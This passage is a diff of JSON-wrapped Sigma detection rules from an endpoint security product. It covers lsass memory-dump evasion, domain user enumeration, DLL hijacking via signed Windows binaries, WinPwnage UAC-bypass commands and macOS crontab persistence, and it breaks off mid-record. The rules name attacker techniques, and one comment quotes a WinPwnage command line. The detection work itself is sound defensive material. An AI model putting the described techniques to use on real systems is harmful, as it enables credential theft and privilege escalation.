+  "rule_description": "Detects an access to an lsass.exe process that is itself a child of lsass.exe.\nAdversaries may create a fork of the lsass.exe process and dump its memory instead of accessing the original lsass.exe memory as a way to bypass detection.\nIt is recommended to analyze the source process for malicious behavior, such as accessing both lsass.exe processes or dropping suspicious files to disk.\n",
+  "rule_creation_date": "2024-02-13",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f6687c5a-692b-4cd8-8ca8-3ee859842043",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624167Z",
+  "creation_date": "2026-03-23T11:45:34.624169Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624173Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/",
+    "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771865(v=ws.11)",
+    "https://attack.mitre.org/techniques/T1087/002/"
+  ],
+  "name": "t1087_002_net_user_domain.yml",
+  "content": "title: Domain User List Discovered\nid: f6687c5a-692b-4cd8-8ca8-3ee859842043\ndescription: |\n    Detect the execution of the \"net user\" command with the \"/domain\" parameter.\n    This command is often used by attackers to list all users in an Active Directory domain during discovery phase.\n    It is recommended to analyze the grandparent process and its context as well as to correlate this alert with other discovery commands executed around it.\nreferences:\n    - https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/\n    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771865(v=ws.11)\n    - https://attack.mitre.org/techniques/T1087/002/\ndate: 2021/04/28\nmodified: 2026/02/13\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ActiveDirectory\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n\n    selection_cmd:\n        CommandLine:\n            - '?:\\Windows\\system32\\net1 user /do'\n            - '?:\\Windows\\system32\\net1 user /dom'\n            - '?:\\Windows\\system32\\net1 user /doma'\n            - '?:\\Windows\\system32\\net1 user /domai'\n            - '?:\\Windows\\system32\\net1 user /domain'\n            - '?:\\Windows\\system32\\net1 users /do'\n            - '?:\\Windows\\system32\\net1 users /dom'\n            - '?:\\Windows\\system32\\net1 users /doma'\n            - '?:\\Windows\\system32\\net1 users /domai'\n            - '?:\\Windows\\system32\\net1 users /domain'\n\n    exclusion_zabbix:\n        ProcessAncestors|contains: '?:\\Program Files\\Zabbix Agent\\zabbix_agentd.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f6687c5a-692b-4cd8-8ca8-3ee859842043",
+  "rule_name": "Domain User List Discovered",
+  "rule_description": "Detect the execution of the \"net user\" command with the \"/domain\" parameter.\nThis command is often used by attackers to list all users in an Active Directory domain during discovery phase.\nIt is recommended to analyze the grandparent process and its context as well as to correlate this alert with other discovery commands executed around it.\n",
+  "rule_creation_date": "2021-04-28",
+  "rule_modified_date": "2026-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f68b1f94-3a14-472e-84c9-c96714963f76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076222Z",
+  "creation_date": "2026-03-23T11:45:34.076224Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076229Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_reset.yml",
+  "content": "title: DLL Hijacking via reset.exe\nid: f68b1f94-3a14-472e-84c9-c96714963f76\ndescription: |\n    Detects potential Windows DLL Hijacking via reset.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'reset.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\Cabinet.dll'\n            - '\\d3d10warp.dll'\n            - '\\d3d11.dll'\n            - '\\dbgcore.DLL'\n            - '\\DismApi.DLL'\n            - '\\dxgi.dll'\n            - '\\FVEAPI.dll'\n            - '\\licensemanagerapi.dll'\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\ReAgent.dll'\n            - '\\REGAPI.dll'\n            - '\\ResetEngine.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\tbs.dll'\n            - '\\utildll.dll'\n            - '\\VSSAPI.DLL'\n            - '\\VssTrace.DLL'\n            - '\\WDSCORE.dll'\n            - '\\wevtapi.dll'\n            - '\\WIMGAPI.DLL'\n            - '\\WINHTTP.dll'\n            - '\\WINSTA.dll'\n            - '\\WOFUTIL.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f68b1f94-3a14-472e-84c9-c96714963f76",
+  "rule_name": "DLL Hijacking via reset.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via reset.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f69bcc31-c92a-4c96-b91e-5cf99664b104",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601716Z",
+  "creation_date": "2026-03-23T11:45:34.601719Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601727Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/",
+    "https://twitter.com/sbousseaden/status/1213116771663777799",
+    "https://www.malwarebytes.com/blog/threat-intelligence/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure",
+    "https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_credwiz.yml",
+  "content": "title: DLL Hijacking via credwiz.exe\nid: f69bcc31-c92a-4c96-b91e-5cf99664b104\ndescription: |\n    Detects potential Windows DLL Hijacking via credwiz.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying the legitimate credwiz executable alongside a malicious New.dll.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/\n    - https://twitter.com/sbousseaden/status/1213116771663777799\n    - https://www.malwarebytes.com/blog/threat-intelligence/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure\n    - https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/08/22\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'credwiz.exe'\n        ImageLoaded|endswith:\n            - '\\New.dll'\n            - '\\DUser.dll'\n            - '\\msctfmonitor.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n\n    filter_legitimate_image:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Company: 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f69bcc31-c92a-4c96-b91e-5cf99664b104",
+  "rule_name": "DLL Hijacking via credwiz.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via credwiz.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying the legitimate credwiz executable alongside a malicious New.dll.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-08-22",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f69e4e20-02c1-4ae3-bd22-b8388e34350f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076531Z",
+  "creation_date": "2026-03-23T11:45:34.076533Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076537Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cipher.yml",
+  "content": "title: DLL Hijacking via cipher.exe\nid: f69e4e20-02c1-4ae3-bd22-b8388e34350f\ndescription: |\n    Detects potential Windows DLL Hijacking via cipher.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'cipher.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DSROLE.dll'\n            - '\\EFSUTIL.dll'\n            - '\\FeClient.dll'\n            - '\\iertutil.dll'\n            - '\\NTDSAPI.dll'\n            - '\\VAULTCLI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f69e4e20-02c1-4ae3-bd22-b8388e34350f",
+  "rule_name": "DLL Hijacking via cipher.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via cipher.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f6fce5da-b097-4cf5-8047-19389b3d1f01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609909Z",
+  "creation_date": "2026-03-23T11:45:34.609913Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609921Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/elevate/elevateMethod3.py",
+    "https://attack.mitre.org/techniques/T1134/001/"
+  ],
+  "name": "t1134_001_winpwnage_pipe_usage.yml",
+  "content": "title: Winpwnage Elevation Tool Detected\nid: f6fce5da-b097-4cf5-8047-19389b3d1f01\ndescription: |\n    Detects a suspicious command-line related to the usage of the Winpwnage elevation tool.\n    WinPwnage is a post-exploitation tool used for privilege escalation, bypassing User Account Control (UAC), and executing unauthorized actions on Windows systems by leveraging known vulnerabilities and misconfigurations.\n    It is recommended to analyze the host for other suspicious activities and to isolate it if needed.\nreferences:\n    - https://github.com/rootm0s/WinPwnage/blob/master/winpwnage/functions/elevate/elevateMethod3.py\n    - https://attack.mitre.org/techniques/T1134/001/\ndate: 2021/02/08\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1134.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.WinPwnage\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.Exploitation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        # \"C:\\Windows\\system32\\cmd.exe\" /c ping -n 1 127.0.0.1 >nul && echo 'WinPwnage' > \\\\.\\pipe\\WinPwnagePipe\n        Image|endswith: '\\cmd.exe'\n        CommandLine|contains|all:\n            - '/c '\n            - 'echo'\n            - '\\\\\\\\.\\pipe\\WinPwnagePipe'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f6fce5da-b097-4cf5-8047-19389b3d1f01",
+  "rule_name": "Winpwnage Elevation Tool Detected",
+  "rule_description": "Detects a suspicious command-line related to the usage of the Winpwnage elevation tool.\nWinPwnage is a post-exploitation tool used for privilege escalation, bypassing User Account Control (UAC), and executing unauthorized actions on Windows systems by leveraging known vulnerabilities and misconfigurations.\nIt is recommended to analyze the host for other suspicious activities and to isolate it if needed.\n",
+  "rule_creation_date": "2021-02-08",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1134.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f748cdc1-359b-4e61-a03c-1ab7bdbaa3f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094489Z",
+  "creation_date": "2026-03-23T11:45:34.094491Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094496Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_raserver.yml",
+  "content": "title: DLL Hijacking via raserver.exe\nid: f748cdc1-359b-4e61-a03c-1ab7bdbaa3f6\ndescription: |\n    Detects potential Windows DLL Hijacking via raserver.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'raserver.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f748cdc1-359b-4e61-a03c-1ab7bdbaa3f6",
+  "rule_name": "DLL Hijacking via raserver.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via raserver.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f78214a0-fe9f-4af4-92f4-2ec1a00aa950",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625899Z",
+  "creation_date": "2026-03-23T11:45:34.625901Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625906Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trellix.com/en-au/about/newsroom/stories/xdr/using-mitre-advance-trellix-products.html",
+    "https://attack.mitre.org/techniques/T1053/003/"
+  ],
+  "name": "t1053_003_crontab_suspicious_execution_macos.yml",
+  "content": "title: Suspicious Crontab Execution (macOS)\nid: f78214a0-fe9f-4af4-92f4-2ec1a00aa950\ndescription: |\n    Detects the execution of the crontab command from outside a shell.\n    An attacker could use crontab to add a malicious cron jobs for persistence.\n    It is recommended to investigate the parent process of crontab as well as the potential creation of jobs to determine whether this action was legitimate.\nreferences:\n    - https://www.trellix.com/en-au/about/newsroom/stories/xdr/using-mitre-advance-trellix-products.html\n    - https://attack.mitre.org/techniques/T1053/003/\ndate: 2022/11/24\nmodified: 2025/12/29\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.003\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/crontab'\n\n    exclusion_crontab_exec_shell:\n        ParentImage:\n            - '/bin/sh'\n            - '/bin/bash'\n            - '/bin/csh'\n            - '/bin/dash'\n            - '/bin/ksh'\n            - '/bin/tcsh'\n            - '/bin/zsh'\n\n    exclusion_installsandbox:\n        GrandparentCommandLine|startswith: '/bin/bash /tmp/PKInstallSandbox.*/Scripts/*/postinstall'\n\n    exclusion_mcafee:\n        GrandparentCommandLine:\n            - 'sh /usr/local/McAfee/AntiMalware/AntiMalwareMertool /var/folders/*/MerToolLogs/McAfeeMERTool-Anti-malware'\n            - '/bin/bash /usr/local/McAfee/MSCMertool -s 